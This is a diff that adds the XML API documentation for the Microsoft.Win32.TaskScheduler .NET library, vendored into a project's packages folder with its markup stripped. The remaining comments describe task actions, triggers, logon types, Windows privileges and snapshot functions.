/dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + 